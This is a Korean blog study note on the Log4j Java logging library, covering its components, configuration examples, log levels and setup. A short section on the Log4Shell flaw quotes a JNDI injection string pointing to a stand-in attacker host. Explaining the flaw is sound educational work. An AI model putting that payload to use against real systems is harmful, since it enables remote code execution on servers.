yebin0322 2025. 1. 20. 16:06
반응형

Log4j

  • JAVA 기반의 로깅 라이브러리
  • 애플리케이션에서 로그 메세지를 기록하고 관리하는 데 사용됨
  • 로그를 자동으로 출력해주는 오픈소스 라이브러리
  • 다양한 로깅 레벨을 지원하여 개발자가 로그의 중요도에 따라 메세지를 필터링하고 기록할 수 있도록 도움
  • 로그 레벨을 통해 개발자는 로그의 양과 중요도를 조절할 수 있음
  • 필요에 따라 특정 레벨 이상의 로그만 기록하도록 설정할 수 있음

구조

  1. Logger
  • 로그 메세지를 기록하는 주체
  • 애플리케이션의 특정 부분에서 로그를 생성하는 역할을 함
  • 출력할 메세지를 Appender에 전달
  • 로그레벨을 설정할 수 있고, 0개 이상의 Appender를 지정할 수 있음
  • 일반적으로 패키지나 클래스 이름을 사용하여 구분
  • 계층 구조를 가지고 있어서 상위 logger의 설정이 하위 logger에 영향을 미칠 수 있음
  1. Appender
  • 로그 메세지를 실제로 출력하는 역할
  • 로그 메세지를 출력하는 형식과 위치를 설정할 수 있음(콘솔 출력, 파일 기록, DB 저장 등)
  • Logger와 연결되어 있으며, Logger가 발생시킨 로그 메세지를 수집하여 지정된 장소에 전달
  1. Layout
  • 로그 메세지의 형식을 정의하는 컴포넌트(로그를 어떤 형식으로 출력할지 결정)

ex)

<configuration>
    <appender name="ConsoleAppender" class="org.apache.log4j.ConsoleAppender">   <!-- Appender -->
        <layout class="org.apache.log4j.PatternLayout">   <!-- Layout -->
            <param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
        </layout>
    </appender>

    <logger name="com.example.MyClass">   <!-- Logger -->
        <level value="DEBUG"/>
    </logger>

    <root>   <!-- Root Logger -->
        <level value="INFO"/>
        <appender-ref ref="ConsoleAppender"/>
    </root>
</configuration>
  • Logger : 이름은 com.example.MyClass이며, DEBUG 수준의 로그 메세지를 기록함
  • Appender : 이름은 ConsoleAppender이며, 내부에 layout 포함
  • Layout : PatternLayout이 사용. ConversionPattern 파라미터를 통해 로그 메세지의 형식을 지정
    • %d{yyyy-MM-dd HH:mm:ss} : 로그가 기록된 날짜와 시간을 지정된 형식으로 출력
    • %-5p : 로그 레벨을 5자리로 맞춰 출력(남는 공간은 공백으로)
    • %c{1} : 로그를 기록한 클래스의 이름 출력. 최상위 패키지만 출력(패키지 구조에서의 마지막 한 단계만)
    • %m : 로그 메세지를 출력
    • %n : 줄 바꿈을 추가
  • Root Logger : 모든 로거의 최상위 계층으로, 하위 로거들이 상속받는 기본 설정 제공. INFO 수준 이상의 로그 메세지를 기록하며, ConsoleAppender라는 이름의 Appender를 통해 콘솔에 출력

Log4j 레벨

  • 아래에서부터 오름차순으로 레벨을 가짐
  • 출력 레벨 설정에 따라 설정 레벨 이상의 로그가 출력됨(예를 들어 레벨 설정이 WARN이면 WARN, ERROR, FATAL만 출력됨)
Log Level Description
OFF 로그를 끔
FATAL 치명적인 오류 메세지를 기록. 애플리케이션이 더 이상 실행될 수 없는 심각한 상황을 나타냄
ERROR 오류 메세지를 기록. 애플리케이션의 기능이 실패했음을 나타내며, 문제를 해결해야 할 필요가 있음
WARN 경고 메세지를 기록. 문제가 발생할 가능성이 있는 상황을 나타내지만, 애플리케이션이 계속 실행될 수 있는 경우임
INFO 일반적인 정보 메세지를 기록. 애플리케이션의 정상적인 동작을 나타내는 메세지
DEBUG 디버깅에 유용한 정보를 기록. 애플리케이션의 흐름을 이해하는 데 도움이 됨
TRACE 가장 낮은 레벨. 매우 상세한 정보를 나타내며, 주로 개발 및 디버깅 목적으로 사용됨
ALL 모든 로그를 보여줌

장점

  • 유연성 : 다양한 Appender, Layout, Logger를 통해 사용자 요구에 맞게 로그 출력을 조정할 수 있음
  • 구성 용이성 : XML 또는 properties 파일을 통해 설정할 수 있어, 로그 수준이나 출력 형식을 쉽게 변경할 수 있음
  • 계층적 로깅 : Logger 간의 계층 구조를 통해 모듈별로 로그 수준을 설정할 수 있어 세부적인 로깅 관리가 가능
  • 성능 : 비동기 로그 기록(로그 기록이 메인 애플리케이션 스레드와 분리되어 있음)을 지원하여 성능 저하가 없음
  • 다양한 출력 형식 : 콘솔, 파일, DB 등 다양한 출력 대상을 지원하여 로그를 적절한 곳에 저장할 수 있음

단점

Log4Shell

  • Log4j에서 발견된 큰 보안 문제
  • 이 문제점을 통해 해커는 다른 사람의 컴퓨터에서 악성 코드를 실행할 수 있음
  • JNDI(Java Naming and Directory Interface) 조회 기능을 악용하여 공격자가 악성 코드를 실행할 수 있게 함
  • 작동 방식
    1. JNDI 조회 : Log4j는 로그 메세지에서 JNDI를 통해 외부 리소스를 조회할 수 있는 기능을 제공함
    2. 공격 벡터 : 공격자는 로그 메세지에 다음과 같은 형식의 문자열을 삽입이 문자열이 로그에 기록되면 Log4j는 이를 처리하기 위해 JNDI 조회를 수행
      1. 코드 실행 : Log4j가 JNDI를 통해 외부 서버에 접근하게 되면, 공격자가 제어하는 서버에서 악성 코드를 다운로드하고 실행할 수 있음(공격자의 완전한 시스템 장악)
    3. `${jndi:ldap://attacker.com/a}' //데이터베이스 연결, JMS(자바 메시징 서비스) 등을 사용할 때 외부 서버에 접근하기 위해 제공되는 명령어

사용법

1. 설정 파일

<!-- Maven -->
<dependency>
    <groupId>log4j</groupId>
    <artifactId>log4j</artifactId>
    <version>1.2.17</version>
</dependency>
//Gradle
implementation group: 'log4j', name: 'log4j', version: '1.2.17'

2. properties 설정

# 루트 로거 설정
# 최상위 로그 레벨을 DEBUG로 설정, consoleAppender, fileAppender, sql로 로그를 출력
log4j.rootLogger=DEBUG, consoleAppender, fileAppender, sql


# 콘솔 출력 설정
# 콘솔에 로그를 출력하기 위한 Appender 설정
log4j.appender.consoleAppender=org.apache.log4j.ConsoleAppender
# 출력할 로그 레벨 설정
log4j.appender.consoleAppender.Threshold=DEBUG
# 로그 메세지의 형식을 정의
log4j.appender.consoleAppender.layout=org.apache.log4j.PatternLayout
# 로그 메세지의 출력 형식을 지정
log4j.appender.consoleAppender.layout.ConversionPattern=[%d] [%-5p] %c %x - %m%n


# 파일 출력 설정
# 파일에 로그를 기록하기 위한 Appender 설정
log4j.appender.fileAppender=org.apache.log4j.DailyRollingFileAppender
# 로그 파일의 경로 지정
log4j.appender.fileAppender.File=c:/log/log4j.log
# 로그 파일이 날짜별로 생성되도록 설정
log4j.appender.fileAppender.DatePattern='.'yyyy-MM-dd
# 출력할 로그 레벨 설정
log4j.appender.fileAppender.Threshold=All
# 로그 메세지의 형식 정의
log4j.appender.fileAppender.layout=org.apache.log4j.PatternLayout
# 로그 메세지의 출력 형식 지정
log4j.appender.fileAppender.layout.ConversionPattern=[%d] [%-5p] [%13F\:%L] - %m%n
반응형